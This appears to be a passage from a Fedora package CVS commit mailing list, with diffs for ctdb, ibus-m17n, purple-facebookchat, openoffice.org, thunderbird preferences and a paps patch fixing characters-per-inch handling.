+ - Test updates and merge from martin
+ - Add notification for "startup"
+ - Add documentation for notification
+ - from martin, a fix for restarting vsftpd in the eventscript
+
 * Wed Sep 29 2009 Sumit Bose <sbose at redhat.com> - 1.0.91-1
  - Update to ctdb version 1.0.91
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ctdb/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	29 Sep 2009 21:01:51 -0000	1.11
+++ sources	14 Oct 2009 07:30:19 -0000	1.12
@@ -1 +1 @@
-9680d0c250daeb87327a9cd87ad8421b  ctdb-1.0.91.tar.bz2
+c8cfa1a29780ae820b77f857464f877a  ctdb-1.0.96.tar.bz2


--- ctdb-re_fix.patch DELETED ---



From phuang at fedoraproject.org  Wed Oct 14 07:44:40 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Wed, 14 Oct 2009 07:44:40 +0000 (UTC)
Subject: rpms/ibus-m17n/F-12 ibus-m17n-iok.patch, 1.1, 1.2 ibus-m17n.spec,
	1.19, 1.20
Message-ID: <20091014074440.4A48311C00E5@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus-m17n/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv669

Modified Files:
	ibus-m17n-iok.patch ibus-m17n.spec 
Log Message:
Update iok patch

ibus-m17n-iok.patch:
 engine.c |   35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

Index: ibus-m17n-iok.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n-iok.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ibus-m17n-iok.patch	5 Mar 2009 04:34:40 -0000	1.1
+++ ibus-m17n-iok.patch	14 Oct 2009 07:44:39 -0000	1.2
@@ -1,6 +1,8 @@
---- src/engine.c.orig	2009-03-02 10:54:14.000000000 +0530
-+++ src/engine.c	2009-03-02 13:12:42.000000000 +0530
-@@ -17,6 +17,8 @@
+diff --git a/src/engine.c b/src/engine.c
+index d6ac852..0355fca 100644
+--- a/src/engine.c
++++ b/src/engine.c
+@@ -17,6 +17,8 @@ struct _IBusM17NEngine {
      IBusLookupTable *table;
      IBusProperty    *status_prop;
      IBusPropList    *prop_list;
@@ -9,14 +11,7 @@
  };
  
  struct _IBusM17NEngineClass {
-@@ -127,12 +129,14 @@
-     engine_class->cursor_up = ibus_m17n_engine_cursor_up;
-     engine_class->cursor_down = ibus_m17n_engine_cursor_down;
- 
--    // engine_class->property_activate = ibus_m17n_engine_property_activate;
-+    engine_class->property_activate = ibus_m17n_engine_property_activate;
- }
- 
+@@ -134,6 +136,8 @@ ibus_m17n_engine_class_init (IBusM17NEngineClass *klass)
  static void
  ibus_m17n_engine_init (IBusM17NEngine *m17n)
  {
@@ -25,7 +20,7 @@
      m17n->status_prop = ibus_property_new ("status",
                                             PROP_TYPE_NORMAL,
                                             NULL,
-@@ -143,8 +147,21 @@
+@@ -144,8 +148,21 @@ ibus_m17n_engine_init (IBusM17NEngine *m17n)
                                             0,
                                             NULL);
  
@@ -47,7 +42,7 @@
  
      m17n->table = ibus_lookup_table_new (9, 0, TRUE, TRUE);
      m17n->context = NULL;
-@@ -165,6 +182,7 @@
+@@ -166,6 +183,7 @@ ibus_m17n_engine_constructor (GType                   type,
  
      engine_name = ibus_engine_get_name ((IBusEngine *) m17n);
      g_assert (engine_name);
@@ -55,18 +50,16 @@
  
      if (im_table == NULL) {
          im_table = g_hash_table_new_full (g_str_hash,
-@@ -185,7 +203,9 @@
- 
+@@ -187,6 +205,8 @@ ibus_m17n_engine_constructor (GType                   type,
          lang = strv[0];
          name = strv[1];
--
-+ 
+ 
 +        if(strcmp(name,"inscript")==0)
 +            ibus_property_set_visible(m17n->show_iok_prop,TRUE);
          im = minput_open_im (msymbol (lang), msymbol (name), NULL);
          if (im != NULL) {
              mplist_put (im->driver.callback_list, Minput_preedit_start, ibus_m17n_engine_callback);
-@@ -247,6 +267,7 @@
+@@ -231,6 +251,7 @@ ibus_m17n_engine_destroy (IBusM17NEngine *m17n)
          m17n->prop_list = NULL;
      }
  
@@ -74,7 +67,7 @@
      if (m17n->status_prop) {
          g_object_unref (m17n->status_prop);
          m17n->status_prop = NULL;
-@@ -398,6 +419,7 @@
+@@ -383,6 +404,7 @@ ibus_m17n_engine_focus_in (IBusEngine *engine)
      IBusM17NEngine *m17n = (IBusM17NEngine *) engine;
  
      ibus_engine_register_properties (engine, m17n->prop_list);
@@ -82,12 +75,10 @@
      ibus_m17n_engine_process_key (m17n, msymbol ("input-focus-in"));
  
      parent_class->focus_in (engine);
-@@ -483,7 +505,20 @@
+@@ -468,6 +490,19 @@ ibus_m17n_engine_property_activate (IBusEngine  *engine,
                                      const gchar *prop_name,
                                      guint        prop_state)
  {
--    g_debug ("prop_name=%s, prop_state=%d", prop_name, prop_state);
-+    gchar *langi;
 +    gchar **strv;
 +    gchar cmd[80];
 +
@@ -95,12 +86,12 @@
 +
 +    strv = g_strsplit (m17n->keymap_name, ":", 2);
 +    g_assert (g_strv_length (strv) == 2);
-+    langi = strv[0];
 +
-+    sprintf(cmd,"/usr/bin/iok -n %s",langi);
-+    g_debug ("keymap name = %s,prop_name=%s, prop_state=%d",m17n->keymap_name, prop_name, prop_state);
++    sprintf (cmd, "/usr/bin/iok -n %s", strv[0]);
++    g_debug ("keymap name = %s,prop_name=%s, prop_state=%d", m17n->keymap_name, prop_name, prop_state);
++    g_strfreev (strv);
 +
-+    g_spawn_command_line_async(cmd, NULL );
++    g_spawn_command_line_async(cmd, NULL);
      parent_class->property_activate (engine, prop_name, prop_state);
  }
  


Index: ibus-m17n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- ibus-m17n.spec	13 Oct 2009 09:59:15 -0000	1.19
+++ ibus-m17n.spec	14 Oct 2009 07:44:39 -0000	1.20
@@ -2,7 +2,7 @@
 
 Name:       ibus-m17n
 Version:    1.2.0.20090617
-Release:    3%{?dist}
+Release:    4%{?dist}
 Summary:    The M17N engine for IBus platform
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -28,7 +28,7 @@ the input table maps from m17n-db.
 
 %prep
 %setup -q
-%patch0 -p0
+%patch0 -p1
 
 %build
 %configure --disable-static
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090617-4
+- Update iok patch to fix build error.
+
 * Tue Oct 13 2009 Parag <pnemade at redhat.com> - 1.2.0.20090617-3
 - Re-enable iok support to ibus-m17n.
 



From phuang at fedoraproject.org  Wed Oct 14 07:51:20 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Wed, 14 Oct 2009 07:51:20 +0000 (UTC)
Subject: rpms/ibus-m17n/F-11 ibus-m17n-iok.patch, 1.3, 1.4 ibus-m17n.spec,
	1.17, 1.18
Message-ID: <20091014075120.C8FE311C0296@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus-m17n/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1619

Modified Files:
	ibus-m17n-iok.patch ibus-m17n.spec 
Log Message:
Update iok patch

ibus-m17n-iok.patch:
 engine.c |   35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

Index: ibus-m17n-iok.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-11/ibus-m17n-iok.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ibus-m17n-iok.patch	25 Sep 2009 07:23:35 -0000	1.3
+++ ibus-m17n-iok.patch	14 Oct 2009 07:51:20 -0000	1.4
@@ -1,6 +1,8 @@
---- src/engine.c.orig	2009-03-02 10:54:14.000000000 +0530
-+++ src/engine.c	2009-03-02 13:12:42.000000000 +0530
-@@ -17,6 +17,8 @@
+diff --git a/src/engine.c b/src/engine.c
+index d6ac852..0355fca 100644
+--- a/src/engine.c
++++ b/src/engine.c
+@@ -17,6 +17,8 @@ struct _IBusM17NEngine {
      IBusLookupTable *table;
      IBusProperty    *status_prop;
      IBusPropList    *prop_list;
@@ -9,14 +11,7 @@
  };
  
  struct _IBusM17NEngineClass {
-@@ -127,12 +129,14 @@
-     engine_class->cursor_up = ibus_m17n_engine_cursor_up;
-     engine_class->cursor_down = ibus_m17n_engine_cursor_down;
- 
--    // engine_class->property_activate = ibus_m17n_engine_property_activate;
-+    engine_class->property_activate = ibus_m17n_engine_property_activate;
- }
- 
+@@ -134,6 +136,8 @@ ibus_m17n_engine_class_init (IBusM17NEngineClass *klass)
  static void
  ibus_m17n_engine_init (IBusM17NEngine *m17n)
  {
@@ -25,7 +20,7 @@
      m17n->status_prop = ibus_property_new ("status",
                                             PROP_TYPE_NORMAL,
                                             NULL,
-@@ -143,8 +147,21 @@
+@@ -144,8 +148,21 @@ ibus_m17n_engine_init (IBusM17NEngine *m17n)
                                             0,
                                             NULL);
  
@@ -47,7 +42,7 @@
  
      m17n->table = ibus_lookup_table_new (9, 0, TRUE, TRUE);
      m17n->context = NULL;
-@@ -165,6 +182,7 @@
+@@ -166,6 +183,7 @@ ibus_m17n_engine_constructor (GType                   type,
  
      engine_name = ibus_engine_get_name ((IBusEngine *) m17n);
      g_assert (engine_name);
@@ -55,18 +50,16 @@
  
      if (im_table == NULL) {
          im_table = g_hash_table_new_full (g_str_hash,
-@@ -185,7 +203,9 @@
- 
+@@ -187,6 +205,8 @@ ibus_m17n_engine_constructor (GType                   type,
          lang = strv[0];
          name = strv[1];
--
-+ 
+ 
 +        if(strcmp(name,"inscript")==0)
 +            ibus_property_set_visible(m17n->show_iok_prop,TRUE);
          im = minput_open_im (msymbol (lang), msymbol (name), NULL);
          if (im != NULL) {
              mplist_put (im->driver.callback_list, Minput_preedit_start, ibus_m17n_engine_callback);
-@@ -247,6 +267,7 @@
+@@ -231,6 +251,7 @@ ibus_m17n_engine_destroy (IBusM17NEngine *m17n)
          m17n->prop_list = NULL;
      }
  
@@ -74,7 +67,7 @@
      if (m17n->status_prop) {
          g_object_unref (m17n->status_prop);
          m17n->status_prop = NULL;
-@@ -398,6 +419,7 @@
+@@ -383,6 +404,7 @@ ibus_m17n_engine_focus_in (IBusEngine *engine)
      IBusM17NEngine *m17n = (IBusM17NEngine *) engine;
  
      ibus_engine_register_properties (engine, m17n->prop_list);
@@ -82,12 +75,10 @@
      ibus_m17n_engine_process_key (m17n, msymbol ("input-focus-in"));
  
      parent_class->focus_in (engine);
-@@ -483,7 +505,20 @@
+@@ -468,6 +490,19 @@ ibus_m17n_engine_property_activate (IBusEngine  *engine,
                                      const gchar *prop_name,
                                      guint        prop_state)
  {
--    g_debug ("prop_name=%s, prop_state=%d", prop_name, prop_state);
-+    gchar *langi;
 +    gchar **strv;
 +    gchar cmd[80];
 +
@@ -95,12 +86,12 @@
 +
 +    strv = g_strsplit (m17n->keymap_name, ":", 2);
 +    g_assert (g_strv_length (strv) == 2);
-+    langi = strv[0];
 +
-+    sprintf(cmd,"/usr/bin/iok -n %s",langi);
-+    g_debug ("keymap name = %s,prop_name=%s, prop_state=%d",m17n->keymap_name, prop_name, prop_state);
++    sprintf (cmd, "/usr/bin/iok -n %s", strv[0]);
++    g_debug ("keymap name = %s,prop_name=%s, prop_state=%d", m17n->keymap_name, prop_name, prop_state);
++    g_strfreev (strv);
 +
-+    g_spawn_command_line_async(cmd, NULL );
++    g_spawn_command_line_async(cmd, NULL);
      parent_class->property_activate (engine, prop_name, prop_state);
  }
  


Index: ibus-m17n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-11/ibus-m17n.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- ibus-m17n.spec	25 Sep 2009 07:23:35 -0000	1.17
+++ ibus-m17n.spec	14 Oct 2009 07:51:20 -0000	1.18
@@ -2,15 +2,14 @@
 
 Name:       ibus-m17n
 Version:    1.2.0.20090617
-Release:    2%{?dist}
+Release:    4%{?dist}
 Summary:    The M17N engine for IBus platform
 License:    GPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
 
-# Patch0:     ibus-m17n-HEAD.patch
-# Patch1:     ibus-m17n-iok.patch
+Patch0:     ibus-m17n-iok.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  gettext-devel
@@ -29,8 +28,7 @@ the input table maps from m17n-db.
 
 %prep
 %setup -q
-# %patch0 -p1
-# %patch1 -p0
+%patch0 -p1
 
 %build
 %configure --disable-static
@@ -54,6 +52,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090617-4
+- Update iok patch to fix build error.
+
+* Tue Oct 13 2009 Parag <pnemade at redhat.com> - 1.2.0.20090617-3
+- Re-enable iok support to ibus-m17n.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.0.20090617-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From olea at fedoraproject.org  Wed Oct 14 07:51:33 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Wed, 14 Oct 2009 07:51:33 +0000 (UTC)
Subject: rpms/purple-facebookchat/F-11 purple-facebookchat.spec,1.18,1.19
Message-ID: <20091014075133.5309B11C00E5@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1692

Modified Files:
	purple-facebookchat.spec 
Log Message:
fixing #526615


Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/F-11/purple-facebookchat.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- purple-facebookchat.spec	12 Sep 2009 11:25:32 -0000	1.18
+++ purple-facebookchat.spec	14 Oct 2009 07:51:33 -0000	1.19
@@ -11,7 +11,7 @@ Provides:       pidgin-facebookchat = %{
 Obsoletes:      pidgin-facebookchat < 1.35-3
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libpurple-devel >= 2.5.8
-BuildRequires:  json-glib-devel
+BuildRequires:  json-glib-devel >= 0.8.0
 #BuildRequires:  zlib-devel
 ExcludeArch:    s390x
 
@@ -51,9 +51,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
+* Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-2
+- rebuilding with json-glib 0.8.0 to fix #526615
+
 * Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-1
 - updating to 1.61
-%changelog
+
 * Tue Jul 23 2009 Ismael Olea <ismael at olea.org> 1.60-1
 - updating to 1.60
 - adding new sourcecode files to makefile



From olea at fedoraproject.org  Wed Oct 14 07:56:04 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Wed, 14 Oct 2009 07:56:04 +0000 (UTC)
Subject: rpms/purple-facebookchat/devel purple-facebookchat.spec,1.19,1.20
Message-ID: <20091014075604.0D41611C00E5@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2694

Modified Files:
	purple-facebookchat.spec 
Log Message:
fixing #526615


Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/devel/purple-facebookchat.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- purple-facebookchat.spec	30 Sep 2009 00:52:40 -0000	1.19
+++ purple-facebookchat.spec	14 Oct 2009 07:56:03 -0000	1.20
@@ -11,7 +11,7 @@ Provides:       pidgin-facebookchat = %{
 Obsoletes:      pidgin-facebookchat < 1.35-3
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libpurple-devel >= 2.5.8
-BuildRequires:  json-glib-devel
+BuildRequires:  json-glib-devel >= 0.8.0
 #BuildRequires:  zlib-devel
 ExcludeArch:    s390x
 
@@ -51,12 +51,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
+* Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-2
+- rebuilding with json-glib 0.8.0 to fix #526615
+
 * Tue Sep 29 2009 Brian Pepple <bpepple at fedoraproject.org> - 1.61-2
 - Rebuild for new json-glib.
 
 * Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-1
 - updating to 1.61
-%changelog
+
 * Tue Jul 23 2009 Ismael Olea <ismael at olea.org> 1.60-1
 - updating to 1.60
 - adding new sourcecode files to makefile



From olea at fedoraproject.org  Wed Oct 14 08:02:39 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Wed, 14 Oct 2009 08:02:39 +0000 (UTC)
Subject: rpms/purple-facebookchat/F-11 purple-facebookchat.spec,1.19,1.20
Message-ID: <20091014080239.604F111C00E5@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3856

Modified Files:
	purple-facebookchat.spec 
Log Message:



Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/F-11/purple-facebookchat.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- purple-facebookchat.spec	14 Oct 2009 07:51:33 -0000	1.19
+++ purple-facebookchat.spec	14 Oct 2009 08:02:39 -0000	1.20
@@ -51,7 +51,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
-* Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-2
+* Wed Oct 14 2009 Ismael Olea <ismael at olea.org> 1.61-2
 - rebuilding with json-glib 0.8.0 to fix #526615
 
 * Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-1



From olea at fedoraproject.org  Wed Oct 14 08:03:41 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Wed, 14 Oct 2009 08:03:41 +0000 (UTC)
Subject: rpms/purple-facebookchat/devel purple-facebookchat.spec,1.20,1.21
Message-ID: <20091014080341.1B6C711C00E5@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/purple-facebookchat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4277

Modified Files:
	purple-facebookchat.spec 
Log Message:



Index: purple-facebookchat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/purple-facebookchat/devel/purple-facebookchat.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- purple-facebookchat.spec	14 Oct 2009 07:56:03 -0000	1.20
+++ purple-facebookchat.spec	14 Oct 2009 08:03:40 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           purple-facebookchat
 Version:        1.61
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Libpurple plug-in supporting facebook IM
 Group:          Applications/Internet
 License:        GPLv3+
@@ -51,8 +51,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/pidgin/protocols/*/facebook.png
 
 %changelog
-* Sat Sep 12 2009 Ismael Olea <ismael at olea.org> 1.61-2
-- rebuilding with json-glib 0.8.0 to fix #526615
+* Wed Oct 14 2009 Ismael Olea <ismael at olea.org> 1.61-3
+- added buildep json-glib 0.8.0 to fix #526615
 
 * Tue Sep 29 2009 Brian Pepple <bpepple at fedoraproject.org> - 1.61-2
 - Rebuild for new json-glib.



From caolanm at fedoraproject.org  Wed Oct 14 08:07:27 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 14 Oct 2009 08:07:27 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,
	1.12, 1.13 openoffice.org.spec, 1.2036, 1.2037
Message-ID: <20091014080727.D119C11C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6681

Modified Files:
	openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch 
	openoffice.org.spec 
Log Message:
ditch dtrans

openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch:
 scripts/soffice.sh |   12 +++--------
 util/makefile.mk   |   54 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 58 insertions(+), 8 deletions(-)

Index: openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	12 Oct 2009 08:59:27 -0000	1.12
+++ openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch	14 Oct 2009 08:07:26 -0000	1.13
@@ -37,7 +37,7 @@
  if [ -x "$sd_prog/../basis-link/ure-link/bin/javaldx" ] ; then
 --- desktop.orig/util/makefile.mk	2009-10-12 08:41:17.000000000 +0100
 +++ desktop/util/makefile.mk	2009-10-12 09:52:19.000000000 +0100
-@@ -189,6 +189,61 @@
+@@ -189,6 +189,60 @@
  APP5DEPN= $(APP1TARGETN) $(APP5RES) ooverinfo.rc
  APP5DEF=    $(MISCX)$/$(TARGET).def
  
@@ -55,7 +55,6 @@
 +    $(REGLIB) \
 +    -lvclplug_gtk$(DLLPOSTFIX) \
 +    -lvclplug_gen$(DLLPOSTFIX) \
-+    -ldtrans \
 +    $(LNGLIB) \
 +    $(ICUINLIB)
 +


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2036
retrieving revision 1.2037
diff -u -p -r1.2036 -r1.2037
--- openoffice.org.spec	13 Oct 2009 19:29:51 -0000	1.2036
+++ openoffice.org.spec	14 Oct 2009 08:07:26 -0000	1.2037
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 1
-%define rh_rpm_release 1
+%define rh_rpm_release 2
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -4123,6 +4123,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Wed Oct 14 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.2
+- don't link against dtrans, not needed anymore
+
 * Tue Oct 13 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
 - drop integrated autocorrection files (i102567)
 - drop integrated workspace.defaultdoclang.patch



From xhorak at fedoraproject.org  Wed Oct 14 08:11:19 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Wed, 14 Oct 2009 08:11:19 +0000 (UTC)
Subject: rpms/thunderbird/F-11 thunderbird-redhat-default-prefs.js, 1.4,
	1.5 thunderbird.spec, 1.141, 1.142
Message-ID: <20091014081119.C132B11C02A2@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/thunderbird/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8474

Modified Files:
	thunderbird-redhat-default-prefs.js thunderbird.spec 
Log Message:
Added new prefs to disable indexing and smart folders by default


Index: thunderbird-redhat-default-prefs.js
===================================================================
RCS file: /cvs/pkgs/rpms/thunderbird/F-11/thunderbird-redhat-default-prefs.js,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- thunderbird-redhat-default-prefs.js	23 Mar 2009 21:47:37 -0000	1.4
+++ thunderbird-redhat-default-prefs.js	14 Oct 2009 08:11:18 -0000	1.5
@@ -10,3 +10,9 @@ pref("mail.shell.checkDefaultClient", fa
 pref("network.protocol-handler.app.http", "COMMAND");
 pref("network.protocol-handler.app.https", "COMMAND");
 pref("network.protocol-handler.app.ftp", "COMMAND");
+
+# Disable global indexing by default
+pref("mailnews.database.global.indexer.enabled", false);
+
+# Do not switch to Smart Folders after upgrade to 3.0b4
+pref("mail.folder.views.version", "1")


Index: thunderbird.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunderbird/F-11/thunderbird.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- thunderbird.spec	22 Sep 2009 06:51:35 -0000	1.141
+++ thunderbird.spec	14 Oct 2009 08:11:18 -0000	1.142
@@ -11,7 +11,7 @@
 Summary:        Mozilla Thunderbird mail/newsgroup client
 Name:           thunderbird
 Version:        3.0
-Release:        2.7.b4%{?dist}
+Release:        2.8.b4%{?dist}
 URL:            http://www.mozilla.org/projects/thunderbird/
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
 Group:          Applications/Internet
@@ -288,6 +288,10 @@ fi
 #===============================================================================
 
 %changelog
+* Wed Oct 14 2009 Jan Horak <jhorak at redhat.com> - 3.0.2.8
+- Global indexing disabled by default
+- Migration to Smart Folders disabled by default
+
 * Thu Sep 17 2009 Jan Horak <jhorak at redhat.com> - 3.0-2.7
 - Update to 3.0 beta4
 



From tagoh at fedoraproject.org  Wed Oct 14 10:42:42 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Wed, 14 Oct 2009 10:42:42 +0000 (UTC)
Subject: rpms/paps/devel paps-fix-cpi.patch,NONE,1.1 paps.spec,1.38,1.39
Message-ID: <20091014104242.DFF2B11C00E5@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/paps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9718

Modified Files:
	paps.spec 
Added Files:
	paps-fix-cpi.patch 
Log Message:
* Wed Oct 14 2009 Akira TAGOH <tagoh at redhat.com> - 0.6.9-11
- Fix code that deal with CPI parameter to be accurate. (#524883)

paps-fix-cpi.patch:
 libpaps.c |   31 ++++++++-
 libpaps.h |   14 +++-
 paps.c    |  204 ++++++++++++++++++++++++--------------------------------------
 3 files changed, 121 insertions(+), 128 deletions(-)

--- NEW FILE paps-fix-cpi.patch ---
diff --git a/src/libpaps.c b/src/libpaps.c
index b6363a7..1b80257 100644
--- a/src/libpaps.c
+++ b/src/libpaps.c
@@ -55,6 +55,9 @@ typedef struct {
   double last_pos_x;
   double scale_x;
   double scale_y;
+  double width;
+  double height;
+  double cpi;
 } paps_private_t;
 
 
@@ -88,6 +91,26 @@ paps_t *paps_new()
 }
 
 void
+paps_set_paper_size(paps_t  *paps_,
+		    gdouble  width,
+		    gdouble  height)
+{
+	paps_private_t *paps = (paps_private_t *)paps_;
+
+	paps->width = width;
+	paps->height = height;
+}
+
+void
+paps_set_cpi(paps_t  *paps_,
+	     gdouble  cpi)
+{
+	paps_private_t *paps = (paps_private_t *)paps_;
+
+	paps->cpi = cpi;
+}
+
+void
 paps_set_scale(paps_t  *paps_,
 	       gdouble  scale_x,
 	       gdouble  scale_y)
@@ -401,7 +424,7 @@ static void draw_contour(paps_private_t *paps,
       FT_Face ft_face = pango_ft2_font_get_face(font);
       int num_glyphs = glyphs->num_glyphs;
       int glyph_idx;
-      
+
       for (glyph_idx=0; glyph_idx<num_glyphs; glyph_idx++)
         {
           PangoGlyphGeometry geometry = glyphs->glyphs[glyph_idx].geometry;
@@ -410,7 +433,11 @@ static void draw_contour(paps_private_t *paps,
           glyph_pos_x = x_pos + 1.0*geometry.x_offset * scale;
           glyph_pos_y = line_start_pos_y - 1.0*geometry.y_offset * scale;
 
-	  x_pos += geometry.width * scale * paps->scale_x;
+	  if (paps->cpi > 0.0L) {
+		  x_pos += (1 / paps->cpi * 72.0);
+	  } else {
+		  x_pos += geometry.width * scale * paps->scale_x;
+	  }
 
           if (glyphs->glyphs[glyph_idx].glyph == PANGO_GLYPH_EMPTY)
             continue;
diff --git a/src/libpaps.h b/src/libpaps.h
index 0b74321..cbb4042 100644
--- a/src/libpaps.h
+++ b/src/libpaps.h
@@ -53,10 +53,16 @@ void paps_free(paps_t *paps);
  * @param scale_y y-coordinate scale
  *
  */
-void
-paps_set_scale(paps_t  *paps,
-	       gdouble  scale_x,
-	       gdouble  scale_y);
+void paps_set_scale(paps_t  *paps,
+		    gdouble  scale_x,
+		    gdouble  scale_y);
+
+void paps_set_paper_size(paps_t  *paps_,
+			 gdouble  width,
+			 gdouble  height);
+
+void paps_set_cpi(paps_t  *paps_,
+		  gdouble  cpi);
 
 /** 
  * libpaps may currently be used only with a PangoContext that it
diff --git a/src/paps.c b/src/paps.c
index 334d547..72dbaad 100644
--- a/src/paps.c
+++ b/src/paps.c
@@ -32,6 +32,8 @@
 #include <time.h>
 #include <locale.h>
 #include <cups/cups.h>
+#include <math.h>
+#include <wchar.h>
 
 #define BUFSIZE 1024
 #define DEFAULT_FONT_FAMILY	"Monospace"
@@ -593,6 +595,8 @@ int main(int argc, char *argv[])
   page_layout.owner = page_owner;
